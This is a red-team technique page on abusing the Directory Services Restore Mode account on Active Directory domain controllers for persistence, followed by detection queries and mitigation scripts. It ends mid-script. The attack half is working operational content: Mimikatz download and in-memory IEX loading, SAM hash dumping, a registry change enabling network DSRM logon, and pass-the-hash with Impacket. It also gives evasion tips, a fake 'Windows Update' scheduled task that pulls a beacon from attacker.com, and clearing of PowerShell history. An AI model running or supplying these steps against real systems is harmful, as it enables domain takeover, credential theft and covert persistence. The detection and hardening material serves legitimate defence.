| Attribute | Details |
|---|---|
| Technique ID | PERSIST-PROCESS-001 |
| MITRE ATT&CK v18.1 | T1543 - Create or Modify System Process |
| Tactic | Persistence, Privilege Escalation |
| Platforms | Windows Active Directory (Domain Controllers) |
| Severity | CRITICAL |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025 |
| Patched In | N/A (By Design - DSRM Required for Recovery) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Directory Services Restore Mode (DSRM) is a special safe mode available on every Domain Controller designed for recovery operations when Active Directory is corrupted or unavailable. During DC promotion, administrators create a local administrator account with a DSRM password that is typically rarely changed and often forgotten. An attacker with Domain Admin privileges or local admin access to a Domain Controller can extract the DSRM password hash, modify a critical registry key (DsrmAdminLogonBehavior), and use Pass-the-Hash techniques to authenticate as the DSRM local administrator remotely. This grants persistent administrative access to the Domain Controller that survives domain credential resets and password policy changes, allowing the attacker to maintain control of Active Directory infrastructure indefinitely.
Attack Surface: The attack directly targets the DSRM local administrator account stored in the Domain Controller’s SAM database and the Windows Registry configuration at HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior. The attack requires either local code execution on the DC or valid credentials with Domain Admin privileges to extract and manipulate these resources.
Business Impact: A successful DSRM persistence attack grants an attacker permanent, privileged access to the core infrastructure of Active Directory, enabling complete domain compromise. An attacker maintaining DSRM persistence can read the entire AD database (ntds.dit), extract all domain user credentials, modify group policies to backdoor the entire organization, reset any user password, access sensitive data across all systems in the domain, and maintain this access even after security teams reset domain administrator credentials. The attack is particularly dangerous because DSRM is rarely monitored, and the DSRM password often goes unchanged for years after initial DC deployment.
Technical Context: The attack typically requires 5-15 minutes to execute once the attacker has obtained initial access. Detection depends heavily on whether organizations have enabled specific Windows Event Log auditing (Event ID 4794) and registry modification monitoring. The technique is considered “loud” if full audit logging is enabled but nearly invisible if logging is not configured properly—which is the default state in many organizations.
Execution Risk: HIGH – The attack irreversibly modifies registry configuration on the Domain Controller. While the modification can be reverted, it leaves clear forensic evidence and requires physical or administrative access to the DC to repair.
Stealth: MEDIUM – If Event ID 4794 auditing and registry modification monitoring are not enabled (the default), the attack is essentially undetectable at the moment of execution. However, the presence of the registry modification can be detected via periodic compliance scans.
Reversibility: PARTIAL – The registry modification can be reverted by changing the DsrmAdminLogonBehavior value back to 0, but the attacker will have already extracted the DSRM password hash and can continue using Pass-the-Hash attacks even after the registry is fixed.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.3 | “Service account password management should occur on a regular schedule to ensure password hygiene. Particularly for DSRM and service accounts.” |
| DISA STIG | Windows Server 2022 STIG V1R1 | AC-2(4): “Privileged account password strength and change frequency” - Applies to DSRM account |
| CISA SCuBA | Directory Services | “Monitor and log changes to critical DSRM configurations” |
| NIST 800-53 | AC-3 | “Access Enforcement - Enforce approved authorizations for logical access to information and system resources” |
| NIST 800-53 | AC-6 | “Least Privilege - Employ the principle of least privilege when granting system access” |
| NIST 800-53 | AC-2(4) | “Account Management - Automated mechanisms shall enforce a password minimum strength” |
| GDPR | Art. 32 | “Security of Processing - Implement appropriate technical and organizational measures to ensure a level of security” |
| DORA | Art. 9 | “Protection and Prevention - ICT service providers shall establish, implement and maintain an appropriate ICT security policy” |
| NIS2 | Art. 21 | “Cyber Risk Management Measures - Operators of essential services shall implement appropriate and cost-effective” |
| ISO 27001 | A.9.2.3 | “Management of Privileged Access Rights - Restrict and manage the allocation and use of privileged access rights” |
| ISO 27005 | 5.5 | “Risk Assessment - Identify and analyze risks to information security in the context of organizational objectives” |
Required Privileges:
Required Access:
privilege::debug or UAC bypass)Supported Versions:
Required Tools:
Objective: Confirm that the DSRM account exists and identify its current configuration state.
PowerShell Command (From Domain Controller):
# Check if DSRM registry key exists and its current value
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" | Select-Object DsrmAdminLogonBehavior
# Expected output:
# DsrmAdminLogonBehavior
# 0 (or key does not exist - means DSRM only in boot mode)
What to Look For:
Bash/Linux Command (Remote with DC credentials):
# Using impacket to query DC registry (requires valid DC credentials)
reg.py "domain.com/Administrator:password@<DC_IP>" query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior
Objective: Enumerate the local Administrator account on the Domain Controller to confirm DSRM account properties.
PowerShell Command (From Domain Controller):
# List local user accounts on the DC
Get-LocalUser | Where-Object {$_.Name -eq "Administrator"}
# Example output:
# Name Enabled Description
# ---- ------- -----------
# Administrator True Built-in account for administering the computer/domain
# Get more details including password properties
wmic useraccount where name='Administrator' list full
What to Look For:
Objective: Determine if the organization has enabled detection mechanisms for DSRM attacks.
PowerShell Command (From Domain Controller):
# Check if Event ID 4794 (DSRM password reset) is being logged
wevtutil qe Security "/q:*[System[(EventID=4794)]]" /c:10
# Check registry audit policy for Account Management
auditpol /get /category:"Account Management"
# Expected output for good logging:
# Account Management: Success and Failure
Bash Command (Check via PowerShell Remoting):
# If you have remote access
powershell -ComputerName <DC_IP> -Credential domain\admin -ScriptBlock {auditpol /get /category:"Account Management"}
What to Look For:
Supported Versions: Windows Server 2016, 2019, 2022, 2025
Precondition: Must have local admin privileges on the Domain Controller OR Domain Admin credentials.
Objective: Establish an elevated PowerShell session with local admin rights on the DC.
If using RDP (Interactive Access):
# Connect via RDP as Domain Admin
mstsc.exe /v:<DC_IP> /u:"DOMAIN\Administrator" /p:"<PASSWORD>"
# Once connected, open PowerShell as Administrator
# Right-click PowerShell → Run as Administrator
If using Remote PowerShell (From your attacking machine):
# Create a credential object
$cred = Get-Credential # Prompts for domain\username and password
# Enter remote session
Enter-PSSession -ComputerName <DC_IP> -Credential $cred
# Verify you have elevated privileges
[Security.Principal.WindowsIdentity]::GetCurrent().Groups | Where-Object {$_ -eq "S-1-5-32-544"}
# S-1-5-32-544 = Local Administrators group on the DC
Expected Output:
PS C:\Users\Administrator> whoami
DOMAIN\Administrator
PS C:\Users\Administrator> whoami /priv | findstr /i "SeDebugPrivilege"
SeDebugPrivilege Enabled # This is REQUIRED for Mimikatz
What This Means:
whoami shows you’re running as Domain Admin or local admin on DCSeDebugPrivilege must be present and “Enabled” for Mimikatz to extract LSASS/SAM hashesOpSec & Evasion:
Objective: Deploy Mimikatz to the Domain Controller for credential extraction.
Option A: Direct Download & Execute (If internet access available):
# Navigate to a temp folder
cd C:\Windows\Temp
# Download Mimikatz
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" -OutFile mimikatz.zip
# Extract
Expand-Archive -Path mimikatz.zip -DestinationPath .
# Run Mimikatz
.\mimikatz\x64\mimikatz.exe
Option B: Pre-Staged Binary (No Internet Required):
# Copy pre-downloaded mimikatz binary via SMB/RDP
# Assume it's already on the DC at C:\Windows\Temp\mimikatz.exe
C:\Windows\Temp\mimikatz.exe
Option C: In-Memory Execution (More Evasive):
# Use PowerShell to invoke Mimikatz in memory without file artifacts
$mimikatzUrl = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"
IEX(New-Object Net.WebClient).DownloadString($mimikatzUrl)
Invoke-Mimikatz -Command '"lsadump::sam"'
Expected Output:
.#####. mimikatz 2.2.0 (x64) built on Sep 19 2022 13:01:30
.## ^ ##. "A La Decouverte de Vos Mots de Passe"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://twitter.com/gentilkiwi
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://twitter.com/vletoux
mimikatz #
What This Means:
OpSec & Evasion:
Objective: Dump the local SAM database to retrieve the DSRM administrator password hash.
Command (Inside Mimikatz REPL):
mimikatz # privilege::debug
# Verify SeDebugPrivilege is enabled
mimikatz # token::elevate
# Switch to SYSTEM token (if not already running as SYSTEM)
mimikatz # lsadump::sam
# Extract SAM database (includes DSRM admin account)
Expected Output:
Domain : COMPUTER_NAME
SysKey : {KEY_HEX_VALUE}
...
RID : 00000220 (544)
User : Administrator
Hash NTLM: fc063a56bf43cb54e57a2522d4d48678
Hash SHA1: 1a4f8c4a8e6c2f1d9b3e5a7c9d1f3b5e7a9c2d4f
What This Means:
Example Hash: fc063a56bf43cb54e57a2522d4d48678 ← This is the DSRM admin password hash you’ll use for Pass-the-Hash
OpSec & Evasion:
lsadump::sam requires SeDebugPrivilege (elevated session)lsadump::lsa /patch (targets LSASS memory instead of SAM file) - slightly less noisymimikatz.exe triggers Windows Defender alertsObjective: Set the DsrmAdminLogonBehavior registry value to 2 to allow DSRM authentication over the network.
Command (Inside PowerShell, elevated):
# Set registry value to enable DSRM remote login
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "DsrmAdminLogonBehavior" `
-Value 2 `
-PropertyType DWORD `
-Force
# Verify the change
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" | Select-Object DsrmAdminLogonBehavior
Expected Output:
DsrmAdminLogonBehavior
--
2
What This Means:
Version Note: All Windows Server versions 2016+ handle this registry modification identically. No version-specific changes required.
Alternative Command (Using reg.exe):
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
OpSec & Evasion:
Objective: Use the extracted DSRM hash to authenticate as the local administrator on the Domain Controller.
Command (Inside Mimikatz, back in REPL):
mimikatz # sekurlsa::pth /domain:.<DSRM_DOMAIN> /user:Administrator /ntlm:fc063a56bf43cb54e57a2522d4d48678 /run:powershell.exe
Explanation of Parameters:
/domain:. = Use the local domain (the dot means “this computer” for local auth)/user:Administrator = Username (DSRM local admin always named “Administrator”)/ntlm:fc063a56bf43cb54e57a2522d4d48678 = The NTLM hash you extracted in Step 3/run:powershell.exe = Launch PowerShell with the stolen credentialsExpected Output:
User : Administrator
Domain : <COMPUTERNAME>
Program : powershell.exe
PID : 1234
What This Means:
Verification (Inside the new PowerShell window):
whoami
# Output: COMPUTERNAME\Administrator
whoami /groups
# Output: Shows LOCAL ADMINISTRATORS group membership (S-1-5-32-544)
OpSec & Evasion:
/pth switch in command lineSupported Versions: Windows Server 2016, 2019, 2022, 2025
Platform Requirements: Linux system with Impacket installed; requires pre-extracted DSRM hash from Method 1.
Precondition: Must have already extracted the DSRM hash using Method 1 or equivalent credential dumping.
Objective: Set up Impacket tools for Pass-the-Hash attacks.
Installation:
# Clone Impacket repository
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
# Install dependencies
pip3 install -r requirements.txt
python3 setup.py install
# Verify installation
psexec.py --help
Expected Output:
Impacket v0.11.0 - Copyright 2021 SecureAuth Corporation
usage: psexec.py [-h] [-c CODEC] [-target-ip ip_address] [-port [destination port]]
[-mode {SERVER,SHARE}] ...
What This Means:
psexec.py is one of several tools available (others: smbexec.py, wmiexec.py, etc.)Objective: Use the DSRM hash to execute commands on the remote Domain Controller.
Command:
# Basic PTH attack
psexec.py -hashes :fc063a56bf43cb54e57a2522d4d48678 \\.\\Administrator@<DC_IP> cmd.exe
# Parameters:
# -hashes :HASH = Pass-the-Hash format (LM hash:NTLM hash, use empty LM hash)
# \\.\\Administrator = Local administrator (backslashes escape shell interpretation)
# @<DC_IP> = IP address of the Domain Controller
# cmd.exe = Command to execute
Example with Real IP:
psexec.py -hashes :fc063a56bf43cb54e57a2522d4d48678 \\.\\Administrator@192.168.1.10 cmd.exe
Expected Output:
Impacket v0.11.0 - Copyright 2021 SecureAuth Corporation
[*] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Authenticating to 192.168.1.10 as user Administrator
[+] Successfully authenticated as SYSTEM!
[!] Attempting to retrieve account SID for SYSTEM
[+] Got SID: S-1-5-18
C:\>
What This Means:
C:\> indicates you can now execute commands remotelyVerification Commands:
whoami
# Output: NT AUTHORITY\SYSTEM
ipconfig
# Displays DC network configuration
dir C:\Windows\NTDS
# Lists NTDS.dit location (confirms DC access)
Alternative: smbexec.py (Semi-Interactive):
# smbexec provides a semi-interactive shell (less noisy than psexec)
smbexec.py -hashes :fc063a56bf43cb54e57a2522d4d48678 \\.\\Administrator@<DC_IP>
OpSec & Evasion:
psexec.py creates new services (more noisy), smbexec.py uses command execution (less noisy)Objective: Create additional persistence mechanisms to survive credential resets.
Command (From remote shell):
# Create a scheduled task that runs as DSRM admin (survives AD resets)
schtasks /create /tn "Windows Update" /tr "C:\Windows\System32\cmd.exe /c powershell.exe -NoP -W H -C 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/beacon\")'" /sc minute /mo 5 /ru SYSTEM /f
# Verify persistence
schtasks /query /tn "Windows Update" /v
What This Means:
Supported Versions: Windows Server 2016, 2019, 2022, 2025
Precondition: Must have local administrative access to the Domain Controller (preferably interactive or RDP).
Use Case: This method is typically used during legitimate maintenance but can be exploited for unauthorized DSRM password changes.
Objective: Launch the ntdsutil tool and navigate to DSRM password management.
Command (PowerShell, elevated):
ntdsutil
Alternative (cmd.exe):
C:\> ntdsutil
ntdsutil: set dsrm password
Expected Output:
ntdsutil: set dsrm password
DSRM is being set for localhost
What This Means:
ntdsutil tool is now in the “set dsrm password” modeObjective: Set a new DSRM password.
Command (Inside ntdsutil prompt):
DSRM: reset password on server null
Type a new password for the directory services restore mode administrator account:
Interactive Execution:
# When prompted, enter the new password
Type new password:
[Enter your desired password - will not be echoed]
Type new password again to confirm:
[Re-enter password for confirmation]
Password changed successfully.
Expected Output:
DSRM: q
ntdsutil: q
C:\>
What This Means:
Version Note: This command works identically across Server 2016, 2019, 2022, and 2025.
Alternative: Non-Interactive (Batch/Script):
# Note: ntdsutil does not support direct password input via pipe
# Must be interactive or pre-staged
# Create a script file with commands
@"
set dsrm password
reset password on server null
NewPassword123!
NewPassword123!
q
q
"@ | Set-Content -Path C:\temp\dsrm_reset.txt
# Execute (requires manual password entry)
type C:\temp\dsrm_reset.txt | ntdsutil
OpSec & Evasion:
ntdsutil legitimately is common (not suspicious)Status: No specific Atomic Red Team test exists for DSRM exploitation. However, related tests for account manipulation and persistence apply.
Related Atomic Tests:
Invoke-AtomicTest T1098 -TestNumbers 1,2,3
Invoke-AtomicTest T1543.003 -TestNumbers 1,2
Invoke-AtomicTest T1547.001 -TestNumbers 1
Custom Test for DSRM (Red Team Development):
# This test simulates the DSRM persistence setup
# NOTE: Only run in authorized lab environments
# Test 1: Extract DSRM Hash
function Test-DSRMHashExtraction {
param([string]$OutputPath = "C:\Temp\dsrm_hash.txt")
# Requires elevated privileges
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
Write-Error "Requires Administrator privileges"
return
}
# Download and execute Mimikatz (in-memory variant preferred)
$mimikatzUrl = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"
try {
IEX(New-Object Net.WebClient).DownloadString($mimikatzUrl)
$result = Invoke-Mimikatz -Command '"lsadump::sam"'
# Parse output for Administrator hash
if ($result -match "Administrator.*Hash NTLM:\s*(\w+)") {
$hash = $matches[1]
"DSRM Hash Extracted: $hash" | Tee-Object -FilePath $OutputPath
return $hash
}
} catch {
Write-Error "Failed to extract DSRM hash: $_"
}
}
# Test 2: Modify Registry (DsrmAdminLogonBehavior)
function Test-DSRMRegistryModification {
$regPath = "HKLM:\System\CurrentControlSet\Control\Lsa"
$regKey = "DsrmAdminLogonBehavior"
# Check current value
$currentValue = (Get-ItemProperty -Path $regPath -ErrorAction SilentlyContinue).$regKey
Write-Host "Current DsrmAdminLogonBehavior: $currentValue"
# Set value to 2 (PERSISTENCE)
try {
New-ItemProperty -Path $regPath -Name $regKey -Value 2 -PropertyType DWORD -Force -ErrorAction Stop
Write-Host "Successfully set DsrmAdminLogonBehavior to 2 (PERSISTENCE ENABLED)"
# Verify
$newValue = (Get-ItemProperty -Path $regPath).$regKey
return $newValue -eq 2
} catch {
Write-Error "Failed to modify registry: $_"
return $false
}
}
# Test 3: Pass-the-Hash Simulation
function Test-DSRMPassTheHash {
param([string]$DSRMHash)
if (-not $DSRMHash) {
Write-Error "DSRM hash required"
return
}
# Use Mimikatz PTH
try {
# This requires Mimikatz loaded
$mimikatzUrl = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"
IEX(New-Object Net.WebClient).DownloadString($mimikatzUrl)
# Execute PTH (this will spawn a new process)
Invoke-Mimikatz -Command "sekurlsa::pth /domain:. /user:Administrator /ntlm:$DSRMHash /run:cmd.exe"
Write-Host "Pass-the-Hash executed (check for new cmd.exe process)"
return $true
} catch {
Write-Error "PTH execution failed: $_"
return $false
}
}
# Run all tests
Write-Host "[*] Starting DSRM Persistence Tests..."
$hash = Test-DSRMHashExtraction
$regModified = Test-DSRMRegistryModification
if ($hash) {
Test-DSRMPassTheHash -DSRMHash $hash
}
Write-Host "[+] DSRM Persistence Test Complete"
Cleanup Commands:
# Revert DSRM registry change
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Force -ErrorAction SilentlyContinue
# Delete Mimikatz if downloaded
Remove-Item -Path "C:\Windows\Temp\mimikatz*" -Recurse -Force -ErrorAction SilentlyContinue
# Clear PowerShell history
[System.Environment]::SetEnvironmentVariable('PSReadLineHistorySavePath', $null, 'CurrentUser')
Rule Configuration:
SPL Query:
index=windows EventCode=4657
(Registry_Key_Name="*\\System\\CurrentControlSet\\Control\\Lsa\\DsrmAdminLogonBehavior"
OR Registry_Value_Name="DsrmAdminLogonBehavior")
Registry_Value_Data IN ("1", "2")
| stats count by host, user, Registry_Value_Data, Action
| where count >= 1
What This Detects:
DsrmAdminLogonBehaviorManual Configuration Steps (Splunk Web):
count >= 1False Positive Analysis:
NOT user IN ("SYSTEM", "scheduled_task_account") if desiredSource: Splunk Research, MITRE ATT&CK T1543
Rule Configuration:
SPL Query:
index=windows (EventCode=4688 OR EventCode=1)
(CommandLine="*ntdsutil*" AND (CommandLine="*set dsrm password*" OR CommandLine="*reset password*"))
| dedup host, user, CommandLine
| stats count by host, user, CommandLine, Image, ParentImage
What This Detects:
ntdsutil executed with DSRM-specific commandsFalse Positive Analysis:
NOT user IN ("DOMAIN\AdminGroup", "SYSTEM")Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4657
| where RegistryPath contains @"System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior"
| where RegistryValueData in ("1", "2")
| project TimeGenerated, Computer, Account, RegistryPath, RegistryValueData, EventID
| summarize count() by Computer, Account, RegistryValueData
| where count_ >= 1
What This Detects:
Manual Configuration Steps (Azure Portal):
DSRM Registry Persistence DetectedCriticalEnabled5 minutes10 minutesGrouped by Account, ComputerManual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create analytics rule
$rule = @{
ResourceGroupName = $ResourceGroup
WorkspaceName = $WorkspaceName
DisplayName = "DSRM Registry Persistence Detected"
Query = @"
SecurityEvent
| where EventID == 4657
| where RegistryPath contains @"System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior"
| where RegistryValueData in ("1", "2")
| project TimeGenerated, Computer, Account, RegistryPath, RegistryValueData, EventID
| summarize count() by Computer, Account, RegistryValueData
| where count_ >= 1
"@
Severity = "Critical"
Enabled = $true
ScheduledRuleFrequency = "PT5M" # Every 5 minutes
}
New-AzSentinelAlertRule @rule
Source: Microsoft Sentinel GitHub, Microsoft Learn
Log Source: Security Event Log
Description: This event is generated when a registry value is modified on the Domain Controller.
Required Audit Configuration:
gpupdate /force on target DCsManual Configuration Steps (Local Policy on DC):
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
What to Look For:
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehaviorEvent Log Search (PowerShell):
# Query Event 4657 for DSRM registry changes
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
EventID = 4657
} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -match "DsrmAdminLogonBehavior.*Value.*2"} |
Select-Object TimeCreated, Message -First 10
Event ID 4794: DSRM Password Reset Attempt (Secondary Detection)
Log Source: Security Event Log
Trigger: When the DSRM administrator password is reset via ntdsutil command
Required Audit Configuration:
Event Log Search:
# Query Event 4794 for DSRM password resets
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
EventID = 4794
} -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message -First 10
What to Look For in Event 4794:
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows Server 2016, 2019, 2022, 2025
Sysmon Configuration (XML for Sysmon Config File):
<Sysmon schemaversion="4.40">
<EventFiltering>
<!-- Detect DSRM registry modifications -->
<RuleGroup name="DSRM Registry Detection" groupRelation="or">
<RegistryEvent onmatch="include">
<!-- Catch modifications to DsrmAdminLogonBehavior -->
<RegistryPath condition="contains">DsrmAdminLogonBehavior</RegistryPath>
<RegistryValue condition="is">DsrmAdminLogonBehavior</RegistryValue>
</RegistryEvent>
<!-- Catch value changes to 1 or 2 (suspicious) -->
<RegistryEvent onmatch="include">
<RegistryPath condition="contains">System\CurrentControlSet\Control\Lsa</RegistryPath>
<Details condition="contains">2</Details>
</RegistryEvent>
</RuleGroup>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
Download sysmon64.exe
sysmon-config.xml):
sysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
# Output: Running
# Check Sysmon events
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 |
Select-Object TimeCreated, ID, Message
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
EventID = 13 # RegistryEvent
} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -match "DsrmAdminLogonBehavior"} |
Select-Object TimeCreated, Message -First 10
Sysmon Event ID 13 Example Output:
TimeCreated : 1/9/2025 2:34:15 PM
Message : Registry object added or deleted:
RuleName: DSRM Registry Detection
EventType: CreateValue
UtcTime: 2025-01-09 14:34:15.123Z
Computer: DC01.contoso.com
User: CONTOSO\Administrator
RegistryPath: HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
RegistryValue: DsrmAdminLogonBehavior
Details: DWORD (0x00000002)
Alert Name: “Potential Persistence Activity Detected - Registry Modification”
Severity: High
Description: This alert fires when Microsoft Defender for Cloud detects modifications to critical registry keys like DsrmAdminLogonBehavior on a Domain Controller.
Manual Configuration Steps (Enable Defender for Cloud):
Viewing Alerts:
Expected Behavior:
Investigation Steps:
Reference: Microsoft Defender for Cloud, Defender for Identity
Mitigation 1: Enforce Unique, Complex DSRM Passwords
Description: Ensure each Domain Controller has a unique DSRM password that meets complexity requirements and is changed regularly.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025
Manual Steps (Via ntdsutil):
ntdsutil
set dsrm password
reset password on server null
# Enter new password when prompted (must be complex: 15+ chars, mixed case, numbers, symbols)
q
q
Manual Steps (Via Group Policy - Server 2019+):
DSRM Password Managementgpupdate /force on all DCsPowerShell Validation Command:
# Verify all DCs have unique, recently changed DSRM passwords
# (This script requires Directory Service access)
$dcs = Get-ADDomainController -Filter *
foreach ($dc in $dcs) {
$lastChange = Get-ADUser -Identity "Administrator" -Server $dc -Properties "lastLogonTimestamp" |
Select-Object -ExpandProperty lastLogonTimestamp
Write-Host "$($dc.HostName): Last DSRM change unknown (stored in SAM, not AD)"
}
# Recommendation: Manual audit of DSRM passwords in secure storage
Write-Host "IMPORTANT: Verify DSRM passwords are documented and unique in your password manager"
Mitigation 2: Disable DsrmAdminLogonBehavior Registry Key
Description: Ensure the DsrmAdminLogonBehavior registry key is never set to a value other than 0 (or removed entirely).
Applies To Versions: Windows Server 2016, 2019, 2022, 2025
Manual Steps (Local Registry):
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LsaManual Steps (PowerShell - Programmatic):
# Script to fix DSRM configuration on all DCs
$dcs = @("DC01.contoso.com", "DC02.contoso.com", "DC03.contoso.com") # Update with your DCs
foreach ($dc in $dcs) {
Write-Host "[*] Checking $dc"
try {
# Check current value
$regKey = Invoke-Command -ComputerName $dc -ScriptBlock {
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty DsrmAdminLogonBehavior -ErrorAction SilentlyContinue
}
if ($regKey -ne $null -and $regKey -ne 0) {
Write-Host "[!] $dc has DsrmAdminLogonBehavior = $regKey (SUSPICIOUS)"
# Remediate: Remove the value
Invoke-Command -ComputerName $dc -ScriptBlock {
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue
Write-Host "[+] Removed DsrmAdminLogonBehavior from $using:dc"
}
} else {
Write-Host "[+] $dc is SAFE (DsrmAdminLogonBehavior = 0 or not present)"
}
} catch {
Write-Error "Error checking $dc : $_"
}
}
Expected Output (If Secure):
[+] DC01.contoso.com is SAFE (DsrmAdminLogonBehavior = 0 or not present)
[+] DC02.contoso.com is SAFE (DsrmAdminLogonBehavior = 0 or not present)
[+] DC03.contoso.com is SAFE (DsrmAdminLogonBehavior = 0 or not present)
Mitigation 3: Enable Comprehensive Audit Logging
Description: Enable Windows Event Log auditing for registry modifications and account management so DSRM attacks are detected.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025
Manual Steps (Group Policy):
gpupdate /force on all DCsManual Steps (Local Policy via PowerShell):
# Enable registry and account auditing on current DC
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
# Verify settings
auditpol /get /subcategory:"Registry"
auditpol /get /subcategory:"User Account Management"
# Expected output:
# Subcategory: Registry
# Audit Failure: Enabled
# Audit Success: Enabled
Validation Command:
# Test that auditing is working by making a registry change
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "TestAudit" -Value 1 -PropertyType DWORD -Force
# Wait 30 seconds, then check Event Log for Event 4657
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
EventID = 4657
} -MaxEvents 1 | Select-Object TimeCreated, Message
Mitigation 4: Restrict Domain Controller Access via Conditional Access
Description: Implement Azure AD Conditional Access policies to restrict who can authenticate to Domain Controllers.
Applies To Versions: Hybrid AD environments (AD + Entra ID/Azure AD)
Manual Steps (Azure Conditional Access):
Restrict DC Access - DSRM ProtectionExpected Result: Only managed, compliant devices from known IP ranges can access Domain Controllers.
Mitigation 5: Monitor Domain Controller Event Logs in Real-Time
Description: Stream DC event logs to a SIEM (Splunk, Sentinel, etc.) for real-time alerting on suspicious activity.
Applies To Versions: Windows Server 2016, 2019, 2022, 2025
Manual Steps (Windows Event Forwarding to Splunk):
msiexec.exe /i splunkforwarder.msi RECEIVING_INDEXER=splunk.example.com:9997 RECEIVING_INDEXER_CERT=...
inputs.conf on DC to forward Security logs:
[WinEventLog://Security]
index = windows
sourcetype = WinEventLog:Security
disabled = false
[WinEventLog://System]
index = windows
sourcetype = WinEventLog:System
disabled = false
net stop SplunkForwarder
net start SplunkForwarder
Mitigation 6: Regular DSRM Compliance Scans
Objective: Implement automated scanning to detect unauthorized DSRM configurations.
PowerShell Script (Scan All DCs Weekly):
# Save this script and schedule it as a Windows Task
$report = @()
$dcs = Get-ADDomainController -Filter * | Select-Object -ExpandProperty HostName
foreach ($dc in $dcs) {
$regValue = Invoke-Command -ComputerName $dc -ScriptBlock {
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty DsrmAdminLogonBehavior
}
$status = if ($regValue -eq $null -or $regValue -eq 0) { "SAFE" } else { "COMPROMISED" }
$report += [PSCustomObject]@{
DC = $dc
DsrmAdminLogonBehavior = $regValue
Status = $status
ScanTime = Get-Date
}
}
# Export report
$report | Export-Csv -Path "C:\DSRM_Scan_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv" -NoTypeInformation
# Alert if any DC is compromised
if ($report | Where-Object {$_.Status -eq "COMPROMISED"}) {
# Send alert to SOC/Security team
Send-MailMessage -To "security@example.com" `
-Subject "DSRM PERSISTENCE DETECTED ON DOMAIN CONTROLLER" `
-Body ($report | ConvertTo-Json) `
-SmtpServer "mail.example.com"
}
Schedule via Task Scheduler:
powershell.exe -ExecutionPolicy Bypass -File C:\Scripts\DSRM_Scan.ps1Validation Command (Verify All Mitigations Are Active):
# Run this script to validate all DSRM security measures
function Test-DSRMSecurity {
Write-Host "[*] Starting DSRM Security Validation..."
# Test 1: Verify registry is secure
$regValue = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" `
-Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty DsrmAdminLogonBehavior
if ($regValue -eq $null -or $regValue -eq 0) {
Write-Host "[+] PASS: DsrmAdminLogonBehavior is secure (value: $regValue)"
} else {
Write-Host "[!] FAIL: DsrmAdminLogonBehavior is set to $regValue (CRITICAL!)"
}
# Test 2: Verify audit logging is enabled
$auditRegistry = auditpol /get /subcategory:"Registry" | Select-String "Success"
$auditAccounts = auditpol /get /subcategory:"User Account Management" | Select-String "Success"
if ($auditRegistry -and $auditAccounts) {
Write-Host "[+] PASS: Audit logging is enabled for Registry and Account Management"
} else {
Write-Host "[!] FAIL: Audit logging is not properly configured"
}
# Test 3: Verify recent event logs exist
